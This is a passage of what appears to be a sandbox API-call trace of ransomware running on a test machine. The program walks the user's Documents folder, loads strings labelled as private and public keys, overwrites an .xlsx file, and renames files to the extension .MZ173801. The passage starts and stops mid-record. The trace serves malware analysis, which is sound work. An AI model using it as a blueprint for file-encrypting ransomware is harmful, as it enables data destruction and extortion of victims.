hFindFile=0xa1b7a8) returned 1 [0167.201] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22282590, ftCreationTime.dwHighDateTime=0x1d5e174, ftLastAccessTime.dwLowDateTime=0xa4f1fdd0, ftLastAccessTime.dwHighDateTime=0x1d5e155, ftLastWriteTime.dwLowDateTime=0x8cec0301, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xd194, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="ZuoadzcT-CGAX7.mp4.MZ173801", cAlternateFileName="ZUOADZ~1.MZ1")) returned 1 [0167.201] FileTimeToLocalFileTime (in: lpFileTime=0x19f898, lpLocalFileTime=0x19f7f8 | out: lpLocalFileTime=0x19f7f8) returned 1 [0167.201] FileTimeToDosDateTime (in: lpFileTime=0x19f7f8, lpFatDate=0x19f866, lpFatTime=0x19f864 | out: lpFatDate=0x19f866, lpFatTime=0x19f864) returned 1 [0167.201] FindNextFileW (in: hFindFile=0xa1b738, lpFindFileData=0x19f884 | out: lpFindFileData=0x19f884*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22282590, ftCreationTime.dwHighDateTime=0x1d5e174, ftLastAccessTime.dwLowDateTime=0xa4f1fdd0, ftLastAccessTime.dwHighDateTime=0x1d5e155, ftLastWriteTime.dwLowDateTime=0x8cec0301, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xd194, dwReserved0=0x0, dwReserved1=0x19f8e4, cFileName="ZuoadzcT-CGAX7.mp4.MZ173801", cAlternateFileName="ZUOADZ~1.MZ1")) returned 0 [0167.201] GetLastError () returned 0x12 [0167.201] FindClose (in: hFindFile=0xa1b738 | out: hFindFile=0xa1b738) returned 1 [0167.201] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6b50460, ftCreationTime.dwHighDateTime=0x1d5f0b4, ftLastAccessTime.dwLowDateTime=0xc2a93e90, ftLastAccessTime.dwHighDateTime=0x1d5f002, ftLastWriteTime.dwLowDateTime=0x8c82d964, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x11298, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Xa5aL.mkv.MZ173801", cAlternateFileName="XA5ALM~1.MZ1")) returned 1 [0167.201] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0167.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0167.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe6b50460, ftCreationTime.dwHighDateTime=0x1d5f0b4, ftLastAccessTime.dwLowDateTime=0xc2a93e90, ftLastAccessTime.dwHighDateTime=0x1d5f002, ftLastWriteTime.dwLowDateTime=0x8c82d964, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x11298, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="Xa5aL.mkv.MZ173801", cAlternateFileName="XA5ALM~1.MZ1")) returned 0 [0167.202] GetLastError () returned 0x12 [0167.202] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0167.202] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=5, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 1 [0167.202] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents" (normalized: "c:\\users\\fd1hvy\\documents")) returned 0x11 [0167.202] SHGetSpecialFolderPathW (in: hwnd=0x0, pszPath=0x19fbb0, csidl=5, fCreate=0 | out: pszPath="C:\\Users\\FD1HVy\\Documents") returned 1 [0167.202] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe700f289, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe700f289, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0167.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0xe700f289, ftLastAccessTime.dwHighDateTime=0x1d5f12a, ftLastWriteTime.dwLowDateTime=0xe700f289, ftLastWriteTime.dwHighDateTime=0x1d5f12a, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0167.202] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12ae160, ftCreationTime.dwHighDateTime=0x1d5c18b, ftLastAccessTime.dwLowDateTime=0xf7c642c0, ftLastAccessTime.dwHighDateTime=0x1d5dd52, ftLastWriteTime.dwLowDateTime=0xf7c642c0, ftLastWriteTime.dwHighDateTime=0x1d5dd52, nFileSizeHigh=0x0, nFileSizeLow=0x13f03, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="283NpHh8_ly2.xlsx", cAlternateFileName="283NPH~1.XLS")) returned 1 [0167.202] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0167.202] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0167.202] GetFileAttributesExW (in: lpFileName="C:\\Users\\FD1HVy\\Documents\\283NpHh8_ly2.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\283nphh8_ly2.xlsx"), fInfoLevelId=0x0, lpFileInformation=0x19fa58 | out: lpFileInformation=0x19fa58*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12ae160, ftCreationTime.dwHighDateTime=0x1d5c18b, ftLastAccessTime.dwLowDateTime=0xf7c642c0, ftLastAccessTime.dwHighDateTime=0x1d5dd52, ftLastWriteTime.dwLowDateTime=0xf7c642c0, ftLastWriteTime.dwHighDateTime=0x1d5dd52, nFileSizeHigh=0x0, nFileSizeLow=0x13f03)) returned 1 [0167.203] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\283NpHh8_ly2.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\283nphh8_ly2.xlsx")) returned 0x20 [0167.203] SetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Documents\\283NpHh8_ly2.xlsx", dwFileAttributes=0x80) returned 1 [0167.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0167.205] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321061c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0167.206] GetCurrentThreadId () returned 0xab4 [0167.206] GetCurrentThreadId () returned 0xab4 [0167.206] GetCurrentThreadId () returned 0xab4 [0167.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0167.207] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x322167c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0167.207] GetCurrentThreadId () returned 0xab4 [0167.207] GetCurrentThreadId () returned 0xab4 [0167.207] GetCurrentThreadId () returned 0xab4 [0167.207] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\283NpHh8_ly2.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\283nphh8_ly2.xlsx"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0167.208] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0167.208] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0167.208] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x13f03 [0167.208] SetFilePointer (in: hFile=0x278, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0167.208] ReadFile (in: hFile=0x278, lpBuffer=0x24a0010, nNumberOfBytesToRead=0x13f03, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0x13f03, lpOverlapped=0x0) returned 1 [0167.209] CloseHandle (hObject=0x278) returned 1 [0167.211] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Documents\\283NpHh8_ly2.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\283nphh8_ly2.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x278 [0167.213] WriteFile (in: hFile=0x278, lpBuffer=0x24b4040*, nNumberOfBytesToWrite=0x13f03, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24b4040*, lpNumberOfBytesWritten=0x19fa24*=0x13f03, lpOverlapped=0x0) returned 1 [0167.215] CloseHandle (hObject=0x278) returned 1 [0167.270] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Documents\\283NpHh8_ly2.xlsx" (normalized: "c:\\users\\fd1hvy\\documents\\283nphh8_ly2.xlsx"), lpNewFileName="C:\\Users\\FD1HVy\\Documents\\283NpHh8_ly2.xlsx.MZ173801" (normalized: "c:\\users\\fd1hvy\\documents\\283nphh8_ly2.xlsx.mz173801")) returned 1 [0167.271] GetCurrentThreadId () returned 0xab4 [0167.271] GetCurrentThreadId () returned 0xab4 [0167.271] GetCurrentThreadId () returned 0xab4 [0167.271] GetCurrentThreadId () returned 0xab4 [0167.271] GetCurrentThreadId () returned 0xab4 [0167.271] GetCurrentThreadId () returned 0xab4 [0167.271] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, 